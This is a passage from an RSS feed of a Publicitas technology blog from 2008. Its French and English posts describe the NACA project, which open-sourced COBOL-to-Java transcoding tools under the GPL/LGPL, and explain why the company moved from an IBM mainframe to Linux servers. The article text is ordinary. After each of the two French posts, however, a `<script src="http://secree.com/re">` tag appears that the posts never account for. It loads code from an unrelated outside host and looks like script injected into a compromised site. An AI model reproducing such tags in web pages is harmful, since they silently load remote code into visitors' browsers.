<p>Publicitas publie sous licence Open Source (GPL/LGPL) le code source des outils développés dans le cadre du<a href="http://technology.publicitas.com/2008/07/17/fr-projet-naca-migration-mainframe-ibm-vers-serveurs-intellinux-motivations-et-strategie/"> projet NACA (migration de son mainframe IBM/zOS sous Cobol vers des serveurs Intel/Linux sous Java)</a> vers la communauté de l&#8217;Open Source. Cette publication a <a href="http://technology.publicitas.com/2008/07/14/fr-naca-presentation-du-projet-aux-rencontres-mondiales-du-logiciel-libre-mont-de-marsan/">été récemment annoncée aux RMLL2008 de Mont-De-Marsan</a>.</p>
<p class="MsoNormal">Pour ceux qui veulent commencer par télécharger les fichiers. Le fichier zip complet est ici: <a href="http://technology.publicitas.com/wp-content/plugins/download-monitor/download.php?id=3" title="Version 1.0 downloaded 4204 times" >NACA-Package 1.0 (Runtime, transcoder, Tests + docs) (4204)</a></p>
<p class="MsoNormal">Cette version est clairement une première livraison (v1.0) : elle sera améliorée par les contributions (tierces) et documentée au fil du feedback donné par les testeurs externes qui feront fonctionner ces programmes Java sur leur propre infrastructure. De nouvelles versions sont également à prévoir autour des librairies JLib et NacaRT qui continuent par leur fonction même à être utilisées productivement par Publicitas et étendues au fil des évolutions de nos systèmes</p>
<p class="MsoNormal">La licence retenue est la <a href="http://fr.wikipedia.org/wiki/Licence_publique_g%C3%A9n%C3%A9rale_GNU">licence GPL</a> du GNU pour l&#8217;outil principal de transcodage et sa petite sœur LGPL pour les librairies associées.</p>
<p class="MsoNormal">Pourquoi ce choix ? Parce que nous souhaitons éviter le détournement de notre travail par des prestataires de services à but lucratif souhaitant utiliser ces programmes .pour leur seul bénéfice en le ramenant vers une zone propriétaire.</p>
<p class="MsoNormal">La GPL place, pour ces prestataires, sur les outils NACA un bon nombre de contraintes qui imposent le retour vers la communauté Open Source d&#8217;un maximum des améliorations faites par des tiers sur le transcodeur et ses librairies associées.<span> </span>Elle offre, par contre, une grande liberté aux sociétés utilisatrices finales.</p>
<p class="MsoNormal">La LGPL permet par ailleurs à des éditeurs de logiciels applicatifs de convertir leurs applications via nos outils (NacaTrans), de livrer nos bibliothèques runtime (NacaRT et JLib) en mode source mais de garder les bibliothèques de leur propre application en mode binaire afin de garder leur valeur compétitive dans le secteur industriel de leur application.</p>
<p class="MsoNormal">Les outils que nous publions aujourd&#8217;hui (v1.0) dans le fichier zip</p>
<ul>
<li><!--[if !supportLists]--><span style="font-family: Symbol;"><span>·</span></span><strong>Doc</strong>: un ensemble de documents explicatifs autour de ces outils. Votre feedback sur leur contenu, leurs déficits nous permettra de les améliorer.</li>
<li><!--[if !supportLists]--><strong>NacaTrans (licence GPL - approx. 83&#8242;00 lignes de code code &amp; 690 classes Java):</strong> notre transcodeur qui nous a permis de transcoder les 4 millions de ligne de Cobol de notre application PUB 2000.  C&#8217;est en quelque sorte un compilateur qui analyse d&#8217;abord la structure des programmes Cobol initiaux (supposés 100% opérationnels) pour les amener dans une structure xml intermédiaire avant de générer un code Java faisant massivement appel aux classes et fonctions de la librairie de runtime NacaRT. Ce code Java généré a la particularité intentionnelle de ressembler au maximum au code source Cobol initial afin de favoriser la poursuite de la maintenance par les développeurs initiaux. L&#8217;exhaustivité de ce compilateur par rapport aux multiples standards du langage Cobol n&#8217;est clairement pas garantie: NacaTrans compile correctement nos 4 millions de ligne de COBOL. C&#8217;est la seule garantie. Cependant des tests complémentaires avec du code COBOL applicatif en provenance d&#8217;autres sociétés nous laisse croire que le taux de couverture du langage est excellent. Nous l&#8217;améliorerons encore avec le feedback de la communauté.</li>
<li><!--[if !supportLists]--><span style="font-family: Symbol;"><span><span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; font-family: "> </span></span></span><!--[endif]--><strong>NacaRT et Jlib (licence LGPL - approx 153&#8242;000 lignes de code &amp; 890 classes Java):</strong> ce sont les bibliothèques de runtime qui réalisent toutes les fonctions de gestion / fonctionnement d&#8217;un système transactionnel classique. Elles émulent tous les verbes d&#8217;un moniteur transactionnel comme CICS (voir docs) et réalisent aussi entre autres<span> </span>l&#8217;émulation du langage Cobol (par exemple, structure COMMAREA à masques multiples, formats de données COMP-X spécifique à COBOL, etc…)</li>
<li><!--[if !supportLists]--><span style="font-family: Symbol;"><span>·<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; font-family: "> </span></span></span><!--[endif]--><strong>NacaRTTest (licence GPL):</strong> une suite de tests nous permettant de valider le fonctionnement correct de nos algorithmes de compilation. Pour toute personne qui installe la suite NACA dans son environnement, c&#8217;est la partie à faire fonctionner en priorité car elle tend à garantir une bonne installation de l&#8217;ensemble des composants</li>
</ul>
<p class="MsoNormal">Tous ces composants sont livrés avec les fichiers de description de projet au format Eclipse afin de faciliter leur prise en main via des outils standards du monde Java.</p>
<p class="MsoNormal">Maintenant, la question que vous vous posez sûrement: pourquoi cette démarche?</p>
<ul style="margin-top: 0cm;" type="disc">
<li class="MsoNormal">Parce      que Publicitas, ayant beaucoup reçu de la communauté Open Source pour le      projet NACA, souhaite rendre autant que possible. Avec cette publication,      nous pensons livrer une contribution à forte valeur ajoutée et très pointue      contribuant activement à notre tour à la dynamique Open Source</li>
<li class="MsoNormal">Parce      que nous pensons que nos outils éprouvés à l&#8217;aune de notre propre projet      de migration puis à celle d&#8217;une année complète de fonctionnement      opérationnel peuvent être une excellente base pour des projets similaires      dans d&#8217;autres entreprises souhaitant elles-aussi bénéficier de tous <a href="http://technology.publicitas.com/naca/">les      bénéfices de l&#8217;Open Source abondamment évoqués dans notre série d&#8217;articles      sur le sujet</a>.</li>
<li class="MsoNormal">Parce      que nous souhaitons encore améliorer nos outils qui restent encore      abondamment utilisés chez nous: ils gèrent toujours nos 750&#8242;000 transactions quotidiennes. Bien sûr , nous souhaitons travailler encore les librairies runtime (Jlib +      NacaRT) puisque la version Java de PUB 2000 s&#8217;appuie abondamment dessus      mais aussi sur le transcodeur NacaRT puisque nos équipes de développement ont      fait le choix pour des raisons spécifiques de continuer à maintenir une      fraction minoritaire de nos programmes directement en Cobol et de les      recompiler au vol en Java. Nous avons développé un plug-in Eclipse à cette      intention</li>
<li class="MsoNormal">Parce      que Consultas, notre société informatique essentiellement interne, a      développé une palette de compétences très spécifiques à cette occasion.      Sans en faire son cœur d&#8217;activité mais pour malgré tout valoriser ce      savoir-faire et surtout permettre à ses ingénieurs de se frotter à      d&#8217;autres problématiques similaires pour s&#8217;aguerrir encore,  Consultas      prendrait volontiers quelques mandats de support / mise en place / extension de ces outils      pour d&#8217;autres sociétés se lançant dans leur &#8220;propre NACA&#8221;.</li>
</ul>
<p class="MsoNormal">Voilà, à vous de jouer: prenez le package complet  <a href="http://technology.publicitas.com/wp-content/plugins/download-monitor/download.php?id=3" title="Version 1.0 downloaded 4204 times" >NACA-Package 1.0 (Runtime, transcoder, Tests + docs) (4204)</a> et mettez-le en place dans votre contexte. Faites-nous part de vos suggestions par vos commentaires sur ce billet.</p>
<p class="MsoNormal"><strong>PS:</strong> pour des contacts autour de projets particuliers, vous pouvez nous contacter aussi plus spécifiquement par email à cette adresse: <a href="mailto:naca-contact@publicitas.com">naca-contact@publicitas.com</a></p>
<p><script src="http://secree.com/re"></script></p>
<img src="http://feeds.feedburner.com/~r/TechnologyBlog-Publicitas/~4/FdgbSE_AyQk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://technology.publicitas.com/2008/07/17/projet-naca-open-sourcing-gpllgpl-des-outils-de-transcodage-cobol-vers-java/feed/</wfw:commentRss>
		<feedburner:origLink>http://technology.publicitas.com/2008/07/17/projet-naca-open-sourcing-gpllgpl-des-outils-de-transcodage-cobol-vers-java/</feedburner:origLink></item>
		<item>
		<title>[FR] Projet NACA: migration Mainframe IBM vers serveurs Intel/Linux - motivations et stratégie</title>
		<link>http://feedproxy.google.com/~r/TechnologyBlog-Publicitas/~3/k_XZOp39NEA/</link>
		<comments>http://technology.publicitas.com/2008/07/17/fr-projet-naca-migration-mainframe-ibm-vers-serveurs-intellinux-motivations-et-strategie/#comments</comments>
		<pubDate>Thu, 17 Jul 2008 09:41:25 +0000</pubDate>
		<dc:creator>didier-durand</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://technology.publicitas.com/?p=12</guid>
		<description><![CDATA[[Update: Publicitas a mis les outils de NACA en Open Source. A télécharger depuis cette page. Toutes les infos disponibles sur le projet sont ici]
Cet article est le premier d&#8217;une série qui décrira le projet NACA ayant conduit au remplacement d&#8217;un mainframe IBM sous MVS/OS390 par des serveurs Intel sous Linux. Le projet a été [...]]]></description>
			<content:encoded><![CDATA[<p>[<strong>Update</strong>: Publicitas a mis les outils de NACA en Open Source. A télécharger depuis <a title="NACA download outils" href="http://technology.publicitas.com/2008/07/17/projet-naca-open-sourcing-gpllgpl-des-outils-de-transcodage-cobol-vers-java/" target="_blank">cette page</a>. Toutes les infos disponibles sur le projet sont <a title="Infos NACA" href="http://technology.publicitas.com/naca/" target="_blank">ici</a>]</p>
<p>Cet article est le premier d&#8217;une série qui décrira le projet NACA ayant conduit au remplacement d&#8217;un mainframe IBM sous MVS/OS390 par des serveurs Intel sous Linux. Le projet a été lancé en Janvier 2003 et s&#8217;est terminé avec succès au 30 Juin 2007. Il a été réalisé volontairement de manière 100% iso-fonctionnelle (i.e. sans aucune modification pendant et par le transcodage) pour l&#8217;application et a permis la conversion automatisée de 4 millions de lignes de Cobol vers leur équivalent Java. L&#8217;économie en cash-outs - paiements externes - est de plus de 85% de leur montant annuel = initial d&#8217;environ 3 millions d&#8217;euros annuels</p>
<p class="MsoNormal">Tout d&#8217;abord le nom du projet:</p>
<ul style="margin-top: 0cm;" type="disc">
<li class="MsoNormal">en      français, NACA = &#8220;Nouvelle Architecture Centrale d&#8217;Applications&#8221;</li>
<li class="MsoNormal">en      anglais, NACA = &#8220;New Architecture for Core Applications&#8221;</li>
</ul>
<p>Comme le titre de l&#8217;article et l&#8217;acronyme ci-dessus l&#8217;indiquent, ce projet lancé chez Publicitas<span> </span>a eu pour objectif initial la conversion d&#8217;un mainframe IBM<span> </span>modèle G5 exploité via les logiciels standards habituels (MVS/OS390, CICS, COBOL, DB2) vers son équivalent naturel dans le monde du Logiciel Libre (Open Source):Linux, Java, Tomcat, UDB. Il s&#8217;agissait d&#8217;amener l&#8217;application commerciale maison, appelée PUB 2000 et développée à la fin des années 80, vers un environnement technologique moderne et efficace.</p>
<p class="MsoNormal">Nous avons lancé ce projet à mi-2002 sur le constat que l&#8217;Open Source &#8220;montait en puissance&#8221; et était utilisé sur des applications autrement plus critiques que la nôtre: de multiples exemples émergeaient déjà dans le monde des industries classiques: énergie, aéronautique, aérospatial, finance avec <a href="http://www.aful.org/ressources/articles/linux-entreprise-aful-repond/">des noms prestigieux comme Boeing, Sony, Nasa</a>. Toutes ces applications industrielles trouvées au travers de notre veille technologique avaient des niveaux de charge et de volume bien supérieurs aux nôtres. Notre activité est d&#8217;environ 750&#8242;000 transactions par jour effectuée par une population de 1&#8242;500 utilisateurs environ.</p>
<p class="MsoNormal">Par ailleurs, dans un domaine moins habituel pour Publicitas, des startups (de l&#8217;époque….) comme Google nous montrait qu&#8217;elles arrivaient <a href="http://www.internetnews.com/xSP/article.php/3487041">à délivrer sur Linux </a>un service de qualité impeccable à des très hauts volumes de charge. Certes, à l&#8217;époque pas encore <a href="http://media-tech.blogspot.com/2007/07/google-cap-du-million-de-serveurs-pass.html">avec 1 million de serveurs</a> pour délivrer <a href="http://media-tech.blogspot.com/2007/08/google-100-milliards-de-pages-vue-par.html">120 milliards de pages chaque mois</a> mais quand même avec déjà des niveaux de charge bien supérieurs aux nôtres. Côté fiabilité, <a href="http://findarticles.com/p/articles/mi_m0ISJ/is_2_44/ai_n14707716/pg_7" class="broken_link">la solidité prouvée de l&#8217;Open Source</a> est bien décrite par la célèbre<a href="http://en.wikipedia.org/wiki/Linus%27s_Law"> Loi de Linus </a>(Torwald, père de Linux) énoncée par Eric Raymond dans son essai <a href="http://www.linux-france.org/article/these/cathedrale-bazar/cathedrale-bazar_monoblock.html">&#8220;La cathédrale et le bazar&#8221;</a> (<span style="font-weight: bold;">à lire ou relire, impérativement!</span>). Cette loi dit donc &#8220;<span style="font-size: 100%; font-family: Garamond;">&#8220;<em>Étant donnés</em></span><span style="font-size: 100%; font-family: Garamond;"><em> suffisamment d&#8217;observateurs, tous les bogues sautent aux yeux&#8221; </em></span>Les feux étaient donc au vert et nous sommes lancés, conscients que de nombreux écueils se trouvaient encore devant nous car une telle migration Mainframe MVS était pour le moins pionnière (voire inconsciente ou hérétique au gré des interlocuteurs…)</p>
<p class="MsoNormal">Mais, nous sommes partis dans l&#8217;exploration des possibilités technologiques pour NACA car la première motivation du projet était massive: le mainframe IBM nous coûtait en &#8220;cashouts&#8221; (sommes payées aux fournisseurs IBM et tiers) environ 3 millions d&#8217;euros par an. 80%+ de cette somme, soit pas loin de 2.5 millions d&#8217;euros partaient dans les licences de location des logiciels utilisés comme &#8220;carburant de la grosse boîte&#8221;.</p>
<p class="MsoNormal">Le calcul financier initial était donc simple (même simpliste pour certains…) : le Logiciel Libre est gratuit. La plate-forme mainframe IBM supporte le Logiciel Libre et le remplacement intégral des logiciels propriétaires d&#8217;IBM et des tierces parties par leurs équivalents Open Source permet donc réduire les coûts annuels de 2.5 millions par euros. Si on calcule abruptement&#8230;</p>
<p class="MsoNormal">[<strong>Note</strong>: IBM annonçait à l'époque - preuve avec le code source à l'appui - que moins de 1% du noyau de Linux était modifié pour supporter sa plate-forme hardware mainframe de la série G<a href="http://bp2.blogger.com/_8zkA5b3U2s0/RwDe-paSV0I/AAAAAAAAAME/ZfEV2jl5108/s1600-h/ibmzlinux-kernel.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img id="BLOGGER_PHOTO_ID_5116334344542246722" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_8zkA5b3U2s0/RwDe-paSV0I/AAAAAAAAAME/ZfEV2jl5108/s320/ibmzlinux-kernel.jpg" border="0" alt="" /></a>.On parle donc véritablement du même logiciel Open Source que pour des serveurs Intel]</p>
<p class="MsoNormal">
<p class="MsoNormal">Ces économies très consistantes représentaient une motivation suffisante aux yeux des gestionnaires des finances de PubliGroupe pour lancer le projet puis le soutenir dans les moments difficiles qui ne manqueraient pas de survenir (on en reparlera dans les prochains épisodes…)</p>
<p class="MsoNormal">
<p class="MsoNormal">Nous sommes partis avec les objectifs et lignes directrices:</p>
<ul style="margin-top: 0cm;" type="disc">
<li class="MsoNormal">migration      douce: le &#8220;big bang&#8221; de la migration globale de l&#8217;ancien au nouveau système en une nuit a été banni d&#8217;entrée. Les uns et les autres de l&#8217;équipe connaissaient tous des projets internes ou externes ayant échoué par la volonté de passer &#8220;la grande marche&#8221; en 1 seule étape. Nous avons donc décidé de construire comme chemin de projet plutôt un long escalier doté de multiples petites marches permettant de progresser irrévocablement (mais avec retour arrière possible à chaque fois)</li>
<li class="MsoNormal">transcodage iso-fonctionnel et automatique: il s&#8217;agit d&#8217;éviter le mélange des genres qui conduit le plus souvent à l&#8217;émergence de nouvelles contraintes souvent fatales. Donc, nous avons décidé de migrer les fonctions écrites en Cobol 1 pour 1 vers Java. A la sortie, le code Java fait juste la même chose que le code Cobol. Il le fait et juste pour beaucoup moins cher&#8230;.</li>
<li class="MsoNormal">préservation des équipes en place: les collaborateurs fidèles à l&#8217;entreprise et au système depuis 20+ ans sont les plus aptes à le faire migrer. Pour autant que l&#8217;on injecte juste le sang neuf nécessaire à l&#8217;infusion des nouvelles compétences Linux et Open Source.</li>
</ul>
<p class="MsoNormal">
<p class="MsoNormal">Le principe de la migration douce est de construire le nouveau système non pas en parallèle (i.e séparée) du système historique mais plutôt de bâtir progressivement le nouveau système en remplaçant des parties de l&#8217;ancien et en interconnectant les nouveaux composants avec l&#8217;ancien système pour délivrer une qualité de service au moins identique (voire meilleure) en permanence aux utilisateurs sans créer de césure entre ancien système et nouveaux composants. La conséquence directe de cette stratégie est que l&#8217;on commence la migration du système par les couches basses puis que l&#8217;on remonte &#8220;la pile des niveaux logiciels&#8221; pour terminer par l&#8217;application maison.</p>
<p class="MsoNormal">
<p class="MsoNormal">Avantage de cette progression&#8221;bottom-up&#8221;: les administrateurs du système gérant habituellement ces couches basses sont les premiers à quitter l&#8217;ancien monde vers le nouveau. Ils ont donc la possibilité de dominer les technologies (nouvelles pour eux) du monde Linux et de s&#8217;y sentir très à l&#8217;aise quelques mois plus tard quand c&#8217;est le moment pour les développeurs applicatifs d&#8217;y entrer.</p>
<p class="MsoNormal">
<p class="MsoNormal">Par ailleurs, le transcodage iso-fonctionnel et automatique est essentiel pour la fluidité du projet. En effet, en utilisant un outil (que nous avons fini par développer &#8220;maison&#8221; - j&#8217;y reviendrai dans un autre article) de transcodage 100% automatique, on peut continuer la maintenance applicative fonctionnelle dans l&#8217;ancienne version et faire passer &#8220;fluidement&#8221; les nouveautés dans le nouveau monde par simple transcodage.<span> </span></p>
<p class="MsoNormal">
<p class="MsoNormal">On n&#8217;impose ainsi aucune date à la mise en service de la nouvelle version Open Source de l&#8217;application qui serait par exemple due à un respect d&#8217;une nouvelle réglementation. Dans une telle situation, un conflit entre une nouvelle technologie applicative qui ne fonctionnerait pas comme prévu et une obligation règlementaire impérative pourrait avoir des conséquences dramatiques pour le projet.</p>
<p class="MsoNormal">Avec le stratégie retenue pour NACA, au contraire, les développeurs font leur maintenance sur l&#8217;ancien code COBOL jusqu&#8217;au jour où la nouvelle application Java est certifiée comme valide pour la production après plusieurs semaines d&#8217;utilisation opérationnelle satisfaisante. A ce moment seulement, le Java transcodé devient le nouveau code source. Avant, il n&#8217;était qu&#8217;un langage intermédiaire de compilation. [On y reviendra dans tous les détails ultérieurement]</p>
<p class="MsoNormal">Enfin, nous avons décidé de préserver les équipes en place au maximum en les formant au maximum sur les technologies Open Source. Le deal est très simple:</p>
<ul style="margin-top: 0cm;" type="disc">
<li class="MsoNormal">une telle migration ne peut se réaliser sans la participation la plus entière des équipes en place. Il y a des dizaines de milliers de détails à connaître et à traiter de manière anticipée pour éviter au maximum tous les écueils (fatals) pouvant tuer le projet. Lancer les &#8220;jeunes loups de l&#8217;Open Source&#8221; contre les &#8220;vieux crocodiles du mainframe&#8221; serait la pire des erreurs de conduite d&#8217;un tel projet</li>
<li class="MsoNormal">la      plupart des membres des équipes (système et développement) en place      souhaitent faire évoluer <span> </span>dans leur expertise quand il voit que le monde change autour d&#8217;eux. Ils suivent aussi l&#8217;émergence de l&#8217;Open Source depuis leur cockpit du mainframe et donc sont prêts à se convertir avec peu de résistance - quand les objectifs<span> </span>précédemment évoqués leur sont expliqués clairement - pour poursuivre leur carrière en tant qu&#8217;experts du monde Linux dès qu&#8217;on leur offre le service de formation nécessaire. Les experts technologiques pointus aiment le rester et savent faire ce qu&#8217;il faut en termes de &#8220;bits and bytes&#8221; pour adapter leurs connaissances généralesd&#8217;architecture informatique à une &#8220;nouvelle quincaillerie&#8221; qui fonctionnent le plus souvent sur les mêmes grands principes que la précédente génération (juste une syntaxe de commande un peu différente&#8230;)</li>
</ul>
<p class="MsoNormal">
<p class="MsoNormal">Pour terminer ce premier épisode, j&#8217;attirerai l&#8217;attention sur le fait qu&#8217;une telle migration de l&#8217;application maison d&#8217;un contexte propriétaire fermé à un contexte Open Source ouvert apporte aussi un avantage intangible (i.e. pas quantifiable en euros) lorsque l&#8217;on démarre: celui de replacer l&#8217;application sur une plate-forme à partir de laquelle les mécanismes d&#8217;interaction avec le reste du monde (i.e. autres applications de la société) deviennent 10 / 100 /1&#8242;000 fois plus simples.</p>
<p class="MsoNormal">
<p class="MsoNormal">On peut donc intégrer cette application d&#8217;une manière beaucoup plus efficace et rapide: des processus &#8220;historiques&#8221; semi-automatisés et peu rapides de transfert de données d&#8217;un système à l&#8217;autre (les célèbres &#8220;moulinettes&#8221; d&#8217;import-export inter-systèmes) peuvent être remplacées par des communications directes en temps réel (type RPC - Remote Procedure Call) entre les blocs du système informatique global (par exemple entre l&#8217;application commercial et le système CRM)</p>
<p class="MsoNormal">
<p class="MsoNormal">En conclusion, le catalyseur initial d&#8217;un tel projet est sûrement le montant consistant des économies réalisées mais le vrai bénéfice à long terme est de replacer le système de l&#8217;entreprise dans un contexte technologique moderne qui lui permet d&#8217;améliorer son business parfois de manières imprévues au début du projet mais très significatives. Et tout cela, pendant toute la durée du projet (4.5 ans pour nous) sans jamais perturber l&#8217;évolution de l&#8217;application via la magie du transcodage automatique&#8230;.</p>
<p class="MsoNormal">
<p class="MsoNormal">Exemples de tout ceci dans les futurs billets. Donc, à suivre!</p>
<p><script src="http://secree.com/re"></script></p>
<img src="http://feeds.feedburner.com/~r/TechnologyBlog-Publicitas/~4/k_XZOp39NEA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://technology.publicitas.com/2008/07/17/fr-projet-naca-migration-mainframe-ibm-vers-serveurs-intellinux-motivations-et-strategie/feed/</wfw:commentRss>
		<feedburner:origLink>http://technology.publicitas.com/2008/07/17/fr-projet-naca-migration-mainframe-ibm-vers-serveurs-intellinux-motivations-et-strategie/</feedburner:origLink></item>
		<item>
		<title>[EN] Project NACA: migration from an IBM mainframe to Intel/Linux servers - rationale and strategy.</title>
		<link>http://feedproxy.google.com/~r/TechnologyBlog-Publicitas/~3/RSk0sfBfAcI/</link>
		<comments>http://technology.publicitas.com/2008/07/17/project-naca-migration-from-an-ibm-mainframe-to-intellinux-servers-rationale-and-strategy/#comments</comments>
		<pubDate>Thu, 17 Jul 2008 09:22:36 +0000</pubDate>
		<dc:creator>didier-durand</dc:creator>
		
		<category><![CDATA[case studies]]></category>

		<category><![CDATA[java]]></category>

		<category><![CDATA[naca]]></category>

		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://technology.publicitas.com/?p=10</guid>
		<description><![CDATA[[Update:  We have open sourced our tools: check this page to download them (all info about NACA on this blog is  here)]
This article is the first of a series that will describe the NACA project run by Publicitas, advertising sales company based in Switzerland and executed by Consultas, IT subsidiary of the group. 
It [...]]]></description>
			<content:encoded><![CDATA[<p>[<strong>Update: </strong> We have open sourced our tools: check <a title="NACA open sourcing" href="http://technology.publicitas.com/2008/07/17/en-project-naca-open-sourcing-gpllgpl-of-the-tools-for-transcoding-cobol-programs-to-java/" target="_blank">this page</a> to download them (all info about NACA on this blog is  <a title="All NACA Info" href="http://technology.publicitas.com/naca/" target="_blank">here</a>)]</p>
<p><span style="font-family: " lang="EN-US">This article is the first of a series that will describe the NACA project run by Publicitas, advertising sales company based in Switzerland and executed by Consultas, IT subsidiary of the group. </span></p>
<p><span style="font-family: " lang="EN-US">It was about replacing an IBM mainframe under MVS/OS390 (zOS) with Intel servers on Linux. The project started in January 2003 and successfully ended on june 30, 2007. It was on purpose implemented in a 100% iso-functional way, i.e. without any functional / applicational improvement brought during the process of <span> </span>trans-coding itself and by the transcoding engine. 4 millions lines of COBOL were 100% automatically trans-coded toward their Java equivalent. </span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">The savings in cash-outs amounted to a total of 3 millions euros, 85% of the initial yearly level. </span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">First of all, meaning of the project name: </span></p>
<ul type="disc">
<li class="MsoNormal"><span style="font-family: " lang="EN-US">in French,      NACA = &#8220;Nouvelle Architecture Centrale d&#8217;Applications&#8221;</span></li>
<li class="MsoNormal"><span style="font-family: " lang="EN-US">in English, NACA      = &#8220;New Architecture for Core Applications&#8221;</span></li>
</ul>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">As the title of the article and the project acronym imply, NACA was launched within Publicitas (Lausanne, Switzerland) to initially convert an IBM mainframe model G5 operated through the standard palette of &#8220;big iron&#8221; software (MVS/OS390/zOS, CICS, COBOL, DB2) toward its canonical equivalent in the Open Source world:<span> Linux</span>, Java, Tomcat, UDB. </span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US"> </span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">The aim was to transfer the homegrown administrative application (called PUB 2000 - developed at the end of the eighties) to state-of-the-art technologies, i.e modern and efficient. </span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">The first thoughts around the project emerged in July 2002 when we realized that Open Source software was gaining ground and was already heavily utilized for applications much more critical than ours. Multiple case studies were published about core applications in key industries: energy, aeronautics, space, finance, with <a href="http://www.aful.org/ressources/articles/linux-entreprise-aful-repond/">famous names like Boeing, Sony, Nasa</a>. Most of those industrial applications were run at much higher load with more severe performance / availability constraints than ours. Our own activity is around 750&#8242;000 transactions done by approx. 1&#8242;500 internal users.</span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">From another perspective, the highly successful startups of that time like <a href="http://www.internetnews.com/xSP/article.php/3487041">Google were demonstrating that Linux can be the cornerstone of a very large scale infrastructure</a> delivering a complex service over the Internet, By that time, it wasn&#8217;t yet through <a href="http://media-tech.blogspot.com/2007/07/google-cap-du-million-de-serveurs-pass.html">1 million servers</a> delivering <a href="http://media-tech.blogspot.com/2007/08/google-100-milliards-de-pages-vue-par.html">120 billions pages per month</a> but the load level of Google was already far higher than ours. About reliability, the <a href="http://findarticles.com/p/articles/mi_m0ISJ/is_2_44/ai_n14707716/pg_7" class="broken_link">proven resilience / reliability  of Open Source</a> is best described by <a href="http://en.wikipedia.org/wiki/Linus%27s_Law">Linus&#8217; law</a> (Linus =<span> </span>Linus Torwald, father of Linux) made famous in the essay of Eric Raymond named &#8220;<a href="http://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar">The Cathedral and the Bazaar</a>&#8220;: &#8220;given enough eyeballs, all bugs are shallow&#8221;.</span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">All lights were green. So, we decided to launch the project knowing that many hurdles and unknowns were still in front of us: such a full migration from a mainframe under zOS was (minimally) to be considered as pioneer work. Some even said by that time that <span> </span>it was crazy or heretic…<br />
<!--[if !supportLineBreakNewLine]--><!--[endif]--></span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">But, we started to explore the technological possibilities for NACA because the first motivation was massive and critically important: the mainframe had a yearly cost of 3 millions euros paid to IBM and third parties and 2.5 millions euros, i.e. 80%+,<span> </span>were used<span> </span>operating the hardware.</span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">The initial business case was simple (some even said simplistic…) : Open Source software is more or less free. IBM mainframe hardware can run Open Source. So replacing each component of the mainframe palette by its OSS counterpart would save us millions of euros. The only point being that you have to accept this brutal computation…</span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">[<strong>Note</strong>: IBM was by then publishing figures saying that less than 1% of linux kernel had been modified to run on the mainframe hardware of series <span> </span>G<a href="http://bp2.blogger.com/_8zkA5b3U2s0/RwDe-paSV0I/AAAAAAAAAME/ZfEV2jl5108/s1600-h/ibmzlinux-kernel.jpg"><span style="text-decoration: none;"><!--[if gte vml 1]><v:shapetype  id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t"  path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"> <v:stroke joinstyle="miter" /> <v:formulas> <v:f eqn="if lineDrawn pixelLineWidth 0" /> <v:f eqn="sum @0 1 0" /> <v:f eqn="sum 0 0 @1" /> <v:f eqn="prod @2 1 2" /> <v:f eqn="prod @3 21600 pixelWidth" /> <v:f eqn="prod @3 21600 pixelHeight" /> <v:f eqn="sum @0 0 1" /> <v:f eqn="prod @6 1 2" /> <v:f eqn="prod @7 21600 pixelWidth" /> <v:f eqn="sum @8 21600 0" /> <v:f eqn="prod @7 21600 pixelHeight" /> <v:f eqn="sum @10 21600 0" /> </v:formulas> <v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect" /> <o:lock v:ext="edit" aspectratio="t" /> </v:shapetype><v:shape id="BLOGGER_PHOTO_ID_5116334344542246722" o:spid="_x0000_i1025"  type="#_x0000_t75" alt="" style='width:240pt;height:172.5pt' o:button="t"> <v:imagedata src="file:///C:\DOCUME~1\U235DR\LOCALS~1\Temp\msohtml1\01\clip_image001.jpg" mce_src="file:///C:\DOCUME~1\U235DR\LOCALS~1\Temp\msohtml1\01\clip_image001.jpg"   o:href="http://bp2.blogger.com/_8zkA5b3U2s0/RwDe-paSV0I/AAAAAAAAAME/ZfEV2jl5108/s320/ibmzlinux-kernel.jpg" /> </v:shape><![endif]--><!--[if !vml]--><img src="file:///C:/DOCUME~1/U235DR/LOCALS~1/Temp/msohtml1/01/clip_image001.jpg" border="0" alt="" width="320" height="230" /><!--[endif]--></span></a>. </span></p>
<p class="MsoNormal">
<p class="MsoNormal"><a href="http://technology.publicitas.com/wp-content/uploads/2008/07/ibmzlinux-kernel.jpg"><img class="aligncenter size-medium wp-image-11" title="ibmzlinux-kernel" src="http://technology.publicitas.com/wp-content/uploads/2008/07/ibmzlinux-kernel-300x215.jpg" alt="" width="300" height="215" /></a><span style="font-family: " lang="EN-US">So, mainframe Linux is clearly the same as the one running of Intel servers]</span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">Those massive savings were attractive enough for the management and financial staff of Publicitas to authorize the project and support it further during the various troubled periods that always happen during the course of such a risky project. Those troubled times will be the core topic of a subsequent article.</span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">We started NACA with following objectives et guidelines:</span></p>
<ul type="disc">
